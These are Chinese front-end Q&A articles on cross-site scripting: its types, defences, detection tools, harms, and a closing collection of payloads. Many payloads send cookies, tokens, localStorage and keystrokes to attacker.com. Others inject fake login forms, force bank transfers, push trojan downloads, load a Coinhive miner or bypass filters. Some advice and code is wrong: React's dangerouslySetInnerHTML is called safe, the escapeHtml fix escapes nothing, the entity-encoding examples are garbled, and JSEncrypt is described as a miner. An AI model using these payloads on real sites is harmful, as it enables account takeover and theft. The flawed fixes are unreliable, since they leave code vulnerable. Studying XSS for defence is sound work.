- 常见于搜索功能、错误页面等
- 示例:`http://example.com/search?q=<script>alert(1)</script>`
3. **DOM 型 XSS(DOM-based XSS)**
- 漏洞完全在客户端的 DOM 操作中产生
- 不经过服务器,恶意脚本直接在浏览器中执行
- 常见于使用 `innerHTML`、`document.write` 等不安全的 DOM 操作
- 示例:`location.hash` 被直接插入到页面中
### XSS 攻击的危害
- 窃取用户 Cookie 和会话信息
- 劫持用户会话,执行未授权操作
- 重定向用户到钓鱼网站
- 篡改网页内容
- 键盘记录
- 窃取敏感信息(如密码、信用卡号)
### XSS 防护措施
1. **输入验证**
- 对所有用户输入进行严格的验证和过滤
- 使用白名单而非黑名单
- 验证数据类型、长度、格式等
2. **输出编码**
- HTML 编码:将 `<`、`>`、`&`、`"`、`'` 等字符转义
- JavaScript 编码:对 JavaScript 上下文中的数据进行编码
- URL 编码:对 URL 参数进行编码
- CSS 编码:对 CSS 上下文中的数据进行编码
3. **使用 Content Security Policy (CSP)**
- 限制浏览器只能加载来自可信来源的资源
- 禁止内联脚本执行
- 示例:`Content-Security-Policy: default-src 'self'; script-src 'self'`
4. **HttpOnly Cookie**
- 设置 Cookie 的 HttpOnly 标志,防止 JavaScript 访问
- 示例:`Set-Cookie: sessionid=xxx; HttpOnly`
5. **使用安全的 API**
- 避免使用 `innerHTML`,改用 `textContent`
- 避免使用 `eval()` 和 `new Function()`
- 使用框架提供的安全方法(如 React 的 `dangerouslySetInnerHTML`)
6. **框架防护**
- 现代前端框架(如 React、Vue)默认提供 XSS 防护
- 合理使用框架提供的安全特性
### XSS 检测方法
1. **手动测试**
- 在输入框中注入测试脚本:`<script>alert(1)</script>`
- 检查脚本是否被执行
2. **自动化扫描工具**
- OWASP ZAP
- Burp Suite
- XSStrike
- XSSer
3. **代码审计**
- 检查所有用户输入点
- 检查输出点是否进行了适当的编码
- 检查 DOM 操作是否安全
### 实际案例
**案例 1:存储型 XSS**
```javascript
// 不安全的代码
app.post('/comment', (req, res) => {
const comment = req.body.comment;
db.save(comment); // 直接保存用户输入
});
app.get('/comments', (req, res) => {
const comments = db.getAll();
res.send(comments.join('')); // 直接输出,未编码
});
```
**修复:**
```javascript
app.get('/comments', (req, res) => {
const comments = db.getAll();
const encodedComments = comments.map(c => escapeHtml(c)).join('');
res.send(encodedComments);
});
```
**案例 2:DOM 型 XSS**
```javascript
// 不安全的代码
const userInput = location.hash.substring(1);
document.getElementById('output').innerHTML = userInput;
```
**修复:**
```javascript
const userInput = location.hash.substring(1);
document.getElementById('output').textContent = userInput;
```
### 总结
XSS 是一种严重的安全漏洞,需要开发者在开发过程中始终保持警惕。通过输入验证、输出编码、使用 CSP 等多种防护措施的结合,可以有效地防止 XSS 攻击。同时,定期进行安全测试和代码审计也是必要的。
前端 · 2月21日 16:25
如何检测 XSS 漏洞?有哪些常用的 XSS 检测工具和方法?## 答案
XSS 漏洞检测是 Web 安全测试的重要组成部分。通过系统化的检测方法,可以发现和修复 XSS 漏洞,提高应用的安全性。XSS 漏洞检测包括手动检测、自动化检测和代码审计等多种方法。
### XSS 漏洞检测的基本原则
#### 1. 检测范围
- 所有用户输入点(表单、URL 参数、Cookie、HTTP 头等)
- 所有输出点(HTML 内容、JavaScript 代码、CSS 样式等)
- 所有数据存储和传输环节
#### 2. 检测类型
- 存储型 XSS
- 反射型 XSS
- DOM 型 XSS
#### 3. 检测环境
- 开发环境
- 测试环境
- 预生产环境
- 生产环境(需谨慎)
### 手动检测方法
#### 1. 基础 Payload 测试
**常用测试 Payload:**
```javascript
// 基础脚本注入
<script>alert(1)</script>
<script>alert('XSS')</script>
// 图片标签注入
<img src=x onerror=alert(1)>
<img src=x onerror=alert('XSS')>
// SVG 标签注入
<svg onload=alert(1)>
// iframe 标签注入
<iframe src="javascript:alert(1)"></iframe>
// body 标签注入
<body onload=alert(1)>
// input 标签注入
<input onfocus=alert(1) autofocus>
```
**测试步骤:**
1. 在输入框中输入测试 Payload
2. 提交表单或访问 URL
3. 检查页面是否弹出警告框
4. 查看页面源代码,检查 Payload 是否被编码
#### 2. 反射型 XSS 检测
**URL 参数测试:**
```
# 测试搜索功能
http://example.com/search?q=<script>alert(1)</script>
http://example.com/search?q=<img src=x onerror=alert(1)>
# 测试错误页面
http://example.com/error?msg=<script>alert(1)</script>
# 测试重定向页面
http://example.com/redirect?url=<script>alert(1)</script>
```
**检测要点:**
- 检查 URL 参数是否直接输出到页面
- 检查是否进行了 HTML 编码
- 检查是否使用了 CSP
#### 3. 存储型 XSS 检测
**测试场景:**
```javascript
// 评论区测试
POST /api/comment
{
"content": "<script>alert(1)</script>"
}
// 用户资料测试
POST /api/profile
{
"nickname": "<img src=x onerror=alert(1)>",
"bio": "<script>alert('XSS')</script>"
}
// 消息测试
POST /api/message
{
"message": "<svg onload=alert(1)>"
}
```
**检测要点:**
- 提交 Payload 后,访问相关页面
- 检查 Payload 是否被存储
- 检查其他用户访问时是否执行
#### 4. DOM 型 XSS 检测
**测试方法:**
```javascript
// 测试 location.hash
http://example.com/page#<img src=x onerror=alert(1)>
// 测试 location.search
http://example.com/page?q=<script>alert(1)</script>
// 测试 location.pathname
http://example.com/<script>alert(1)</script>
// 测试 document.referrer
// 通过恶意页面跳转,测试 referrer 是否被直接使用
// 测试 window.name
// 通过 iframe 设置 window.name,测试是否被直接使用
```
**检测要点:**
- 检查 JavaScript 代码中是否直接使用 location 对象
- 检查是否使用 innerHTML、document.write 等危险 API
- 检查是否对用户输入进行了编码
### 自动化检测工具
#### 1. OWASP ZAP
**功能特点:**
- 开源免费的 Web 安全扫描工具
- 支持主动扫描和被动扫描
- 可以检测多种 XSS 漏洞
- 提供 API 和插件扩展
**使用方法:**
```bash
# 安装 OWASP ZAP
brew install --cask zap
# 启动 ZAP
zap.sh
# 使用 CLI 进行扫描
zap-cli quick-scan --self-contained --start-options '-config api.disablekey=true' http://example.com
```
**扫描配置:**
- 启用 XSS 扫描
- 设置扫描深度
- 配置认证信息
- 设置扫描范围
#### 2. Burp Suite
**功能特点:**
- 专业的 Web 安全测试工具
- 强大的拦截和重放功能
- 支持 Intruder 模块进行批量测试
- 提供丰富的插件生态
**使用方法:**
1. 配置浏览器代理到 Burp Suite
2. 访问目标网站,捕获请求
3. 将请求发送到 Repeater 或 Intruder
4. 修改参数,注入 XSS Payload
5. 分析响应,检查漏洞
**Intruder 配置:**
```python
# Payload 类型
- Simple list: 使用预定义的 Payload 列表
- Runtime file: 从文件读取 Payload
- Numbers: 生成数字序列
- Dates: 生成日期序列
- Brute forcer: 暴力破解
- Null payloads: 空 Payload
# 攻击类型
- Sniper: 逐个位置注入
- Battering ram: 所有位置同时注入
- Pitchfork: 多个 Payload 同时注入
- Cluster bomb: 所有 Payload 组合注入
```
#### 3. XSStrike
**功能特点:**
- 专门用于 XSS 检测的工具
- 支持多种检测模式
- 可以绕过 WAF
- 提供 Payload 生成功能
**使用方法:**
```bash
# 安装 XSStrike
pip install xsstrike
# 基础扫描
python xsstrike.py -u "http://example.com/search?q=test"
# POST 请求扫描
python xsstrike.py -u "http://example.com/login" -d "username=test&password=test"
# 使用代理
python xsstrike.py -u "http://example.com/search?q=test" --proxy "http://127.0.0.1:8080"
# 绕过 WAF
python xsstrike.py -u "http://example.com/search?q=test" --skip
```
#### 4. XSSer
**功能特点:**
- 自动化 XSS 检测工具
- 支持多种攻击向量
- 可以绕过过滤器
- 提供详细的报告
**使用方法:**
```bash
# 安装 XSSer
git clone https://github.com/epsylon/xsser.git
cd xsser
python setup.py install
# 基础扫描
xsser -u "http://example.com/search?q=test"
# POST 请求扫描
xsser -u "http://example.com/login" -p "username=test&password=test"
# 使用代理
xsser -u "http://example.com/search?q=test" --proxy="http://127.0.0.1:8080"
```
### 代码审计方法
#### 1. 静态代码分析
**检查要点:**
```javascript
// 1. 搜索危险的 DOM API
- innerHTML
- outerHTML
- document.write
- eval()
- new Function()
- setTimeout(string)
- setInterval(string)
// 2. 搜索用户输入点
- req.body
- req.query
- req.params
- document.cookie
- location.hash
- location.search
// 3. 检查输出编码
- 是否使用了 escapeHtml()
- 是否使用了 encodeURIComponent()
- 是否使用了框架的自动编码
```
**审计工具:**
- ESLint with security plugins
- SonarQube
- Semgrep
- CodeQL
#### 2. 动态代码分析
**检查要点:**
```javascript
// 1. 运行时检查
- 监控所有用户输入
- 跟踪数据流
- 检查输出点
// 2. 使用浏览器开发者工具
- Elements 标签:检查 DOM 结构
- Console 标签:检查 JavaScript 执行
- Network 标签:检查网络请求
- Sources 标签:设置断点调试
```
### XSS 漏洞检测流程
#### 1. 信息收集
```
1. 识别目标网站
2. 爬取网站结构
3. 识别所有输入点
4. 识别所有输出点
5. 分析数据流
```
#### 2. 漏洞扫描
```
1. 使用自动化工具进行初步扫描
2. 手动验证自动化工具发现的漏洞
3. 对高风险区域进行深度测试
4. 测试不同的 Payload 变体
```
#### 3. 漏洞验证
```
1. 确认漏洞的真实性
2. 评估漏洞的危害程度
3. 测试漏洞的可利用性
4. 生成 PoC(概念验证)
```
#### 4. 漏洞报告
```
1. 记录漏洞详情
2. 提供修复建议
3. 生成漏洞报告
4. 跟踪修复进度
```
### XSS 漏洞检测的最佳实践
#### 1. 分阶段检测
```
开发阶段:
- 代码审查
- 单元测试
- 集成测试
测试阶段:
- 自动化扫描
- 手动测试
- 渗透测试
生产阶段:
- 持续监控
- 定期审计
- 应急响应
```
#### 2. 多维度检测
```
技术维度:
- 黑盒测试
- 白盒测试
- 灰盒测试
时间维度:
- 开发前
- 开发中
- 开发后
人员维度:
- 开发者自测
- 测试人员测试
- 安全专家审计
```
#### 3. 持续改进
```
1. 建立漏洞数据库
2. 分析漏洞模式
3. 优化检测方法
4. 更新检测工具
5. 培训开发人员
```
### XSS 漏洞检测的注意事项
#### 1. 合法性和道德
- 获得授权后再进行测试
- 遵守法律法规
- 不要影响生产环境
- 保护用户隐私
#### 2. 测试范围
- 明确测试边界
- 不要测试无关系统
- 不要过度测试
- 避免拒绝服务
#### 3. 测试数据
- 使用测试数据
- 不要泄露真实数据
- 不要修改生产数据
- 测试后清理数据
### 实际检测案例
#### 案例 1:电商平台搜索功能
**检测过程:**
1. 识别搜索功能:`/search?q=keyword`
2. 注入测试 Payload:`/search?q=<script>alert(1)</script>`
3. 检查响应:发现 Payload 被直接输出
4. 确认漏洞:存在反射型 XSS
**漏洞代码:**
```javascript
// 不安全的代码
app.get('/search', (req, res) => {
const query = req.query.q;
res.send(`<h1>搜索结果:${query}</h1>`);
});
```
**修复方案:**
```javascript
// 安全的代码
function escapeHtml(unsafe) {
return unsafe
.replace(/&/g, "&")
.replace(/</g, "<")
.replace(/>/g, ">")
.replace(/"/g, """)
.replace(/'/g, "'");
}
app.get('/search', (req, res) => {
const query = escapeHtml(req.query.q);
res.send(`<h1>搜索结果:${query}</h1>`);
});
```
#### 案例 2:社交平台评论区
**检测过程:**
1. 识别评论区:`/api/comment`
2. 提交测试 Payload:`<img src=x onerror=alert(1)>`
3. 访问评论页面:发现 Payload 被执行
4. 确认漏洞:存在存储型 XSS
**漏洞代码:**
```javascript
// 不安全的代码
app.post('/api/comment', (req, res) => {
const comment = req.body.comment;
db.save(comment);
});
app.get('/api/comments', (req, res) => {
const comments = db.getAll();
res.send(comments.join(''));
});
```
**修复方案:**
```javascript
// 安全的代码
app.post('/api/comment', (req, res) => {
const comment = sanitize(req.body.comment);
db.save(comment);
});
app.get('/api/comments', (req, res) => {
const comments = db.getAll();
const encodedComments = comments.map(c => escapeHtml(c)).join('');
res.send(encodedComments);
});
```
### 总结
XSS 漏洞检测是 Web 安全的重要组成部分,需要结合手动检测、自动化检测和代码审计等多种方法。有效的 XSS 检测应该:
1. **系统化**:建立完整的检测流程
2. **自动化**:使用工具提高检测效率
3. **持续化**:定期进行安全审计
4. **专业化**:培养专业的安全团队
5. **规范化**:建立检测标准和规范
通过系统化的 XSS 漏洞检测,可以及时发现和修复安全漏洞,提高 Web 应用的安全性。
前端 · 2月21日 16:25
XSS 攻击有哪些危害?如何防范 XSS 攻击带来的安全风险?## 答案
XSS 攻击的危害非常严重,可以导致用户数据泄露、会话劫持、恶意操作等多种安全风险。了解 XSS 攻击的危害对于构建安全的 Web 应用至关重要。
### XSS 攻击的主要危害
#### 1. Cookie 窃取
**危害描述:**
攻击者可以通过 XSS 漏洞窃取用户的 Cookie,特别是会话 Cookie(Session Cookie),从而劫持用户的登录会话。
**攻击原理:**
```javascript
// 恶意脚本窃取 Cookie
const stolenCookie = document.cookie;
fetch('http://attacker.com/steal?cookie=' + encodeURIComponent(stolenCookie));
```
**实际影响:**
- 攻击者可以冒充受害者登录网站
- 访问受害者的个人账户信息
- 执行受害者权限下的所有操作
- 进行未授权的资金转账、数据修改等
**防护措施:**
- 设置 HttpOnly Cookie 标志
- 使用 SameSite Cookie 属性
- 实施 Content Security Policy
- 对所有用户输入进行编码
#### 2. 会话劫持(Session Hijacking)
**危害描述:**
攻击者通过窃取会话标识符(如 Session ID、JWT Token)来劫持用户的会话,完全控制受害者的账户。
**攻击示例:**
```javascript
// 窃取 Session ID
const sessionId = getCookie('sessionId');
const token = localStorage.getItem('authToken');
// 发送给攻击者
fetch('http://attacker.com/hijack', {
method: 'POST',
body: JSON.stringify({ sessionId, token })
});
```
**实际影响:**
- 完全控制受害者账户
- 修改账户设置和密码
- 查看敏感信息(如银行账户、个人资料)
- 进行恶意操作(如发送垃圾邮件、发布非法内容)
**防护措施:**
- 使用安全的会话管理机制
- 定期轮换会话标识符
- 实施会话超时机制
- 使用 HTTPS 加密传输
#### 3. 钓鱼攻击(Phishing)
**危害描述:**
攻击者通过 XSS 注入虚假的登录表单或弹窗,诱骗用户输入敏感信息。
**攻击示例:**
```javascript
// 注入虚假登录表单
const fakeForm = `
<div style="position:fixed;top:0;left:0;width:100%;height:100%;background:rgba(0,0,0,0.8);z-index:9999;">
<div style="position:absolute;top:50%;left:50%;transform:translate(-50%,-50%);background:white;padding:20px;border-radius:5px;">
<h3>会话已过期,请重新登录</h3>
<input type="text" id="username" placeholder="用户名">
<input type="password" id="password" placeholder="密码">
<button onclick="stealCredentials()">登录</button>
</div>
</div>
`;
document.body.innerHTML += fakeForm;
function stealCredentials() {
const username = document.getElementById('username').value;
const password = document.getElementById('password').value;
fetch('http://attacker.com/steal', {
method: 'POST',
body: JSON.stringify({ username, password })
});
}
```
**实际影响:**
- 窃取用户登录凭证
- 获取银行账户、信用卡信息
- 窃取个人身份信息
- 进行身份盗窃
**防护措施:**
- 对所有用户输入进行编码
- 使用 CSP 防止内联脚本
- 实施多因素认证
- 加强用户安全教育
#### 4. 恶意重定向
**危害描述:**
攻击者通过 XSS 将用户重定向到恶意网站,可能用于钓鱼、恶意软件分发等。
**攻击示例:**
```javascript
// 重定向到恶意网站
window.location = 'http://malicious.com/phishing?ref=' + document.location.href;
```
**实际影响:**
- 将用户引导到钓鱼网站
- 传播恶意软件
- 窃取用户信息
- 损害网站声誉
**防护措施:**
- 验证和编码重定向 URL
- 使用白名单限制重定向目标
- 实施 CSP 的 `navigate-to` 指令
#### 5. 键盘记录(Keylogging)
**危害描述:**
攻击者通过 XSS 注入键盘记录脚本,记录用户的所有键盘输入,包括密码、信用卡号等敏感信息。
**攻击示例:**
```javascript
// 键盘记录脚本
document.addEventListener('keydown', function(e) {
const key = e.key;
const timestamp = Date.now();
const url = window.location.href;
fetch('http://attacker.com/keylog', {
method: 'POST',
body: JSON.stringify({ key, timestamp, url })
});
});
```
**实际影响:**
- 窃取用户密码
- 窃取信用卡号
- 窃取其他敏感输入
- 记录用户的浏览行为
**防护措施:**
- 使用 CSP 阻止恶意脚本
- 对所有用户输入进行编码
- 使用虚拟键盘(对于高安全需求场景)
- 实施输入验证和过滤
#### 6. 数据篡改
**危害描述:**
攻击者通过 XSS 修改页面内容,误导用户或破坏数据完整性。
**攻击示例:**
```javascript
// 修改页面内容
document.getElementById('bank-balance').textContent = '999999.99';
document.getElementById('transaction-history').innerHTML = '<p>无交易记录</p>';
```
**实际影响:**
- 误导用户做出错误决策
- 破坏数据完整性
- 损害网站可信度
- 可能导致经济损失
**防护措施:**
- 对所有输出进行编码
- 使用安全的 DOM API
- 实施 CSP
- 定期审计前端代码
#### 7. CSRF 攻击辅助
**危害描述:**
XSS 可以辅助 CSRF(跨站请求伪造)攻击,通过注入恶意脚本自动发送跨站请求。
**攻击示例:**
```javascript
// 自动发送 CSRF 请求
fetch('http://target.com/transfer', {
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded'
},
body: 'to=attacker&amount=10000',
credentials: 'include'
});
```
**实际影响:**
- 自动执行未授权操作
- 资金转账
- 修改账户设置
- 删除数据
**防护措施:**
- 使用 CSRF Token
- 实施 SameSite Cookie
- 验证请求来源
- 使用 CSP
#### 8. 恶意软件分发
**危害描述:**
攻击者通过 XSS 注入恶意软件下载链接,诱骗用户下载和安装恶意软件。
**攻击示例:**
```javascript
// 注入恶意下载链接
const maliciousLink = `
<a href="http://malicious.com/trojan.exe" style="display:block;padding:20px;background:#4CAF50;color:white;text-align:center;">
点击下载安全更新
</a>
`;
document.body.innerHTML += maliciousLink;
```
**实际影响:**
- 用户感染恶意软件
- 系统被控制
- 数据被加密(勒索软件)
- 系统性能下降
**防护措施:**
- 对所有用户输入进行编码
- 实施 CSP
- 使用白名单限制外部资源
- 加强用户安全教育
#### 9. 网页挖矿(Cryptojacking)
**危害描述:**
攻击者通过 XSS 注入加密货币挖矿脚本,利用用户的计算资源进行挖矿。
**攻击示例:**
```javascript
// 注入挖矿脚本
const miningScript = document.createElement('script');
miningScript.src = 'https://coin-hive.com/lib/coinhive.min.js';
document.body.appendChild(miningScript);
// 启动挖矿
const miner = new CoinHive.User('site-key');
miner.start();
```
**实际影响:**
- 消耗用户 CPU 资源
- 导致系统性能下降
- 增加电力消耗
- 可能导致设备过热
**防护措施:**
- 实施 CSP 限制外部脚本
- 监控异常的 CPU 使用率
- 使用广告拦截器
- 定期审计第三方脚本
#### 10. 隐私泄露
**危害描述:**
攻击者通过 XSS 访问和窃取用户的隐私信息,如浏览历史、本地存储等。
**攻击示例:**
```javascript
// 窃取隐私信息
const privacyData = {
cookies: document.cookie,
localStorage: JSON.stringify(localStorage),
sessionStorage: JSON.stringify(sessionStorage),
history: JSON.stringify(window.history),
userAgent: navigator.userAgent,
screen: {
width: screen.width,
height: screen.height
},
plugins: Array.from(navigator.plugins).map(p => p.name)
};
fetch('http://attacker.com/privacy', {
method: 'POST',
body: JSON.stringify(privacyData)
});
```
**实际影响:**
- 用户隐私被侵犯
- 浏览习惯被跟踪
- 个人信息被收集
- 可能用于定向广告或诈骗
**防护措施:**
- 实施 CSP
- 使用 HttpOnly Cookie
- 限制第三方脚本访问
- 加强隐私保护机制
### XSS 攻击的长期影响
#### 1. 经济损失
- 直接经济损失(资金被盗)
- 间接经济损失(系统修复、数据恢复)
- 声誉损失导致客户流失
#### 2. 法律责任
- 违反数据保护法规(如 GDPR、CCPA)
- 面临法律诉讼和罚款
- 监管处罚
#### 3. 声誉损害
- 用户信任度下降
- 品牌形象受损
- 媒体负面报道
#### 4. 业务中断
- 系统停机修复
- 服务不可用
- 生产力下降
### XSS 攻击的检测和响应
#### 1. 检测方法
- 日志分析:检查异常的脚本执行
- 用户行为分析:识别异常的用户操作
- 安全扫描:使用自动化工具扫描 XSS 漏洞
- 渗透测试:定期进行安全测试
#### 2. 响应措施
- 立即隔离受影响的系统
- 通知受影响的用户
- 重置所有会话和密码
- 修复漏洞并加强安全措施
- 进行事后分析和改进
### 总结
XSS 攻击的危害非常广泛且严重,包括 Cookie 窃取、会话劫持、钓鱼攻击、恶意重定向、键盘记录、数据篡改、CSRF 攻击辅助、恶意软件分发、网页挖矿和隐私泄露等。这些危害可能导致经济损失、法律责任、声誉损害和业务中断。
为了防止 XSS 攻击,开发者应该:
1. 对所有用户输入进行严格的验证和编码
2. 使用安全的 DOM API
3. 实施 Content Security Policy
4. 设置 HttpOnly 和 SameSite Cookie
5. 定期进行安全审计和渗透测试
6. 加强用户安全教育
通过采取多层防御策略,可以有效地减少 XSS 攻击的风险和危害。
前端 · 2月21日 16:25
常见的 XSS Payload 有哪些?如何识别和防护恶意 XSS 载荷?## 答案
XSS Payload(攻击载荷)是攻击者用于执行 XSS 攻击的恶意代码片段。了解常见的 XSS Payload 对于检测和防护 XSS 攻击至关重要。XSS Payload 可以分为多种类型,每种类型都有其特定的攻击场景和绕过技巧。
### 基础 XSS Payload
#### 1. Script 标签注入
**最基础的 Payload:**
```html
<script>alert(1)</script>
<script>alert('XSS')</script>
<script>alert("XSS")</script>
```
**变体:**
```html
<script>alert(String.fromCharCode(88,83,83))</script>
<script>alert(/XSS/.source)</script>
<script>alert`XSS`</script>
```
#### 2. 图片标签注入
**onerror 事件:**
```html
<img src=x onerror=alert(1)>
<img src=x onerror=alert('XSS')>
<img src=x onerror=alert("XSS")>
```
**变体:**
```html
<img src=x onerror=alert(1)>
<img src=x onerror=alert(1) />
<img src=x onerror=alert(1)//>
```
#### 3. SVG 标签注入
**onload 事件:**
```html
<svg onload=alert(1)>
<svg/onload=alert(1)>
<svg onload="alert(1)">
```
**变体:**
```html
<svg onload="alert(1)">
<svg onload='alert(1)'>
<svg onload=alert(1)>
```
### 高级 XSS Payload
#### 1. 事件处理器注入
**常见事件:**
```html
<body onload=alert(1)>
<body onpageshow=alert(1)>
<body onfocus=alert(1)>
<body onblur=alert(1)>
<input onfocus=alert(1) autofocus>
<input onblur=alert(1) autofocus>
<input onchange=alert(1) autofocus>
<select onfocus=alert(1) autofocus>
<select onblur=alert(1) autofocus>
<select onchange=alert(1) autofocus>
<textarea onfocus=alert(1) autofocus>
<textarea onblur=alert(1) autofocus>
<textarea onchange=alert(1) autofocus>
<details open ontoggle=alert(1)>
<details open onmouseover=alert(1)>
<details open onclick=alert(1)>
```
#### 2. iframe 注入
**javascript: 协议:**
```html
<iframe src="javascript:alert(1)"></iframe>
<iframe src='javascript:alert(1)'></iframe>
<iframe src=javascript:alert(1)></iframe>
```
**data: 协议:**
```html
<iframe src="data:text/html,<script>alert(1)</script>"></iframe>
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></iframe>
```
#### 3. form 注入
**formaction 属性:**
```html
<form><button formaction=javascript:alert(1)>Click</button></form>
<form><input type=submit formaction=javascript:alert(1) value=Click></form>
```
**formtarget 属性:**
```html
<form action="javascript:alert(1)"><input type=submit value=Click></form>
<form action="data:text/html,<script>alert(1)</script>"><input type=submit value=Click></form>
```
### 绕过过滤器的 Payload
#### 1. 大小写绕过
**变体:**
```html
<ScRiPt>alert(1)</ScRiPt>
<SCRIPT>alert(1)</SCRIPT>
<Img src=x oNeRrOr=alert(1)>
```
#### 2. 编码绕过
**HTML 实体编码:**
```html
<script>alert(1)</script>
<script>alert(1)</script>
<script>alert(1)</script>
```
**URL 编码:**
```html
%3Cscript%3Ealert(1)%3C/script%3E
%3Cimg%20src%3Dx%20onerror%3Dalert(1)%3E
```
**JavaScript 编码:**
```html
<script>\u0061\u006c\u0065\u0072\u0074(1)</script>
<script>\x61\x6c\x65\x72\x74(1)</script>
```
#### 3. 注释绕过
**变体:**
```html
<!--><script>alert(1)</script>-->
<!----><script>alert(1)</script><!-->
<!--><img src=x onerror=alert(1)>-->
```
#### 4. 空格绕过
**变体:**
```html
<img/src=x/onerror=alert(1)>
<svg/onload=alert(1)>
<script>alert(1)//>
```
#### 5. 引号绕过
**变体:**
```html
<script>alert(1)</script>
<script>alert`1`</script>
<script>alert(/1/)</script>
<script>alert(String.fromCharCode(49))</script>
```
### Cookie 窃取 Payload
#### 1. 基础 Cookie 窃取
**直接发送:**
```html
<script>
const stolenCookie = document.cookie;
fetch('http://attacker.com/steal?cookie=' + encodeURIComponent(stolenCookie));
</script>
```
**使用 Image 标签:**
```html
<img src="http://attacker.com/steal?cookie=123" onerror="this.src='http://attacker.com/steal?cookie=' + encodeURIComponent(document.cookie)">
```
#### 2. 高级 Cookie 窃取
**使用 XMLHttpRequest:**
```html
<script>
const xhr = new XMLHttpRequest();
xhr.open('GET', 'http://attacker.com/steal?cookie=' + encodeURIComponent(document.cookie));
xhr.send();
</script>
```
**使用 WebSocket:**
```html
<script>
const ws = new WebSocket('ws://attacker.com/steal');
ws.onopen = function() {
ws.send(document.cookie);
};
</script>
```
### 会话劫持 Payload
#### 1. 会话 ID 窃取
**LocalStorage 窃取:**
```html
<script>
const localStorageData = JSON.stringify(localStorage);
fetch('http://attacker.com/steal?localStorage=' + encodeURIComponent(localStorageData));
</script>
```
**SessionStorage 窃取:**
```html
<script>
const sessionStorageData = JSON.stringify(sessionStorage);
fetch('http://attacker.com/steal?sessionStorage=' + encodeURIComponent(sessionStorageData));
</script>
```
#### 2. Token 窃取
**JWT Token 窃取:**
```html
<script>
const token = localStorage.getItem('token');
fetch('http://attacker.com/steal?token=' + encodeURIComponent(token));
</script>
```
### 钓鱼攻击 Payload
#### 1. 虚假登录表单
**注入虚假表单:**
```html
<script>
const fakeForm = `
<div style="position:fixed;top:0;left:0;width:100%;height:100%;background:rgba(0,0,0,0.8);z-index:9999;">
<div style="position:absolute;top:50%;left:50%;transform:translate(-50%,-50%);background:white;padding:20px;border-radius:5px;">
<h3>会话已过期,请重新登录</h3>
<input type="text" id="username" placeholder="用户名">
<input type="password" id="password" placeholder="密码">
<button onclick="stealCredentials()">登录</button>
</div>
</div>
`;
document.body.innerHTML += fakeForm;
function stealCredentials() {
const username = document.getElementById('username').value;
const password = document.getElementById('password').value;
fetch('http://attacker.com/steal', {
method: 'POST',
body: JSON.stringify({ username, password })
});
}
</script>
```
#### 2. 重定向攻击
**恶意重定向:**
```html
<script>
window.location = 'http://phishing.com/login?ref=' + encodeURIComponent(document.location.href);
</script>
```
**使用 meta 标签:**
```html
<meta http-equiv="refresh" content="0;url=http://phishing.com/login">
```
### 键盘记录 Payload
#### 1. 基础键盘记录
**记录所有按键:**
```html
<script>
let keylog = '';
document.addEventListener('keydown', function(e) {
keylog += e.key;
if (keylog.length > 100) {
fetch('http://attacker.com/keylog', {
method: 'POST',
body: JSON.stringify({ keylog })
});
keylog = '';
}
});
</script>
```
#### 2. 高级键盘记录
**记录上下文:**
```html
<script>
let keylog = [];
document.addEventListener('keydown', function(e) {
keylog.push({
key: e.key,
timestamp: Date.now(),
url: window.location.href,
element: e.target.tagName
});
if (keylog.length > 50) {
fetch('http://attacker.com/keylog', {
method: 'POST',
body: JSON.stringify({ keylog })
});
keylog = [];
}
});
</script>
```
### 数据篡改 Payload
#### 1. 修改页面内容
**修改文本内容:**
```html
<script>
document.getElementById('bank-balance').textContent = '999999.99';
document.getElementById('transaction-history').innerHTML = '<p>无交易记录</p>';
</script>
```
#### 2. 修改链接
**修改所有链接:**
```html
<script>
const links = document.querySelectorAll('a');
links.forEach(link => {
link.href = 'http://phishing.com/login?redirect=' + encodeURIComponent(link.href);
});
</script>
```
### CSRF 辅助 Payload
#### 1. 自动发送请求
**发送 GET 请求:**
```html
<script>
fetch('http://bank.com/transfer?to=attacker&amount=10000', {
credentials: 'include'
});
</script>
```
**发送 POST 请求:**
```html
<script>
fetch('http://bank.com/transfer', {
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded'
},
body: 'to=attacker&amount=10000',
credentials: 'include'
});
</script>
```
#### 2. 窃取 CSRF Token
**窃取 meta 标签中的 Token:**
```html
<script>
const csrfToken = document.querySelector('meta[name="csrf-token"]').content;
fetch('http://attacker.com/steal?token=' + encodeURIComponent(csrfToken));
</script>
```
### 恶意软件分发 Payload
#### 1. 下载恶意文件
**自动下载:**
```html
<script>
const link = document.createElement('a');
link.href = 'http://malicious.com/trojan.exe';
link.download = 'update.exe';
link.click();
</script>
```
#### 2. 诱导下载
**显示虚假更新提示:**
```html
<script>
const updateMessage = `
<div style="position:fixed;top:0;left:0;width:100%;height:100%;background:rgba(0,0,0,0.8);z-index:9999;">
<div style="position:absolute;top:50%;left:50%;transform:translate(-50%,-50%);background:white;padding:20px;border-radius:5px;">
<h3>发现新版本,请点击下载更新</h3>
<a href="http://malicious.com/update.exe" download>下载更新</a>
</div>
</div>
`;
document.body.innerHTML += updateMessage;
</script>
```
### 网页挖矿 Payload
#### 1. 使用 Coinhive
**基础挖矿:**
```html
<script src="https://coin-hive.com/lib/coinhive.min.js"></script>
<script>
var miner = new CoinHive.User('site-key');
miner.start();
</script>
```
#### 2. 使用 JSEncrypt
**加密挖矿:**
```html
<script src="https://cdnjs.cloudflare.com/ajax/libs/jsencrypt/3.0.0/jsencrypt.min.js"></script>
<script>
var crypt = new JSEncrypt();
// 执行加密挖矿
</script>
```
### 检测和防护
#### 1. 检测 Payload
**常见检测方法:**
- 搜索 `<script>` 标签
- 搜索 `javascript:` 协议
- 搜索 `onerror`、`onload` 等事件处理器
- 搜索 `eval()`、`new Function()` 等危险函数
- 使用正则表达式匹配恶意模式
#### 2. 防护 Payload
**防护措施:**
- 对所有用户输入进行编码
- 使用 Content Security Policy
- 设置 HttpOnly Cookie
- 使用安全的 DOM API
- 实施输入验证和过滤
### 总结
XSS Payload 是攻击者执行 XSS 攻击的工具,了解常见的 XSS Payload 对于检测和防护 XSS 攻击至关重要。常见的 XSS Payload 包括:
1. **基础 Payload**:Script 标签、图片标签、SVG 标签
2. **高级 Payload**:事件处理器、iframe、form
3. **绕过过滤器 Payload**:大小写、编码、注释、空格、引号
4. **Cookie 窃取 Payload**:直接发送、使用 Image 标签
5. **会话劫持 Payload**:LocalStorage、SessionStorage、Token 窃取
6. **钓鱼攻击 Payload**:虚假登录表单、重定向攻击
7. **键盘记录 Payload**:记录按键、记录上下文
8. **数据篡改 Payload**:修改页面内容、修改链接
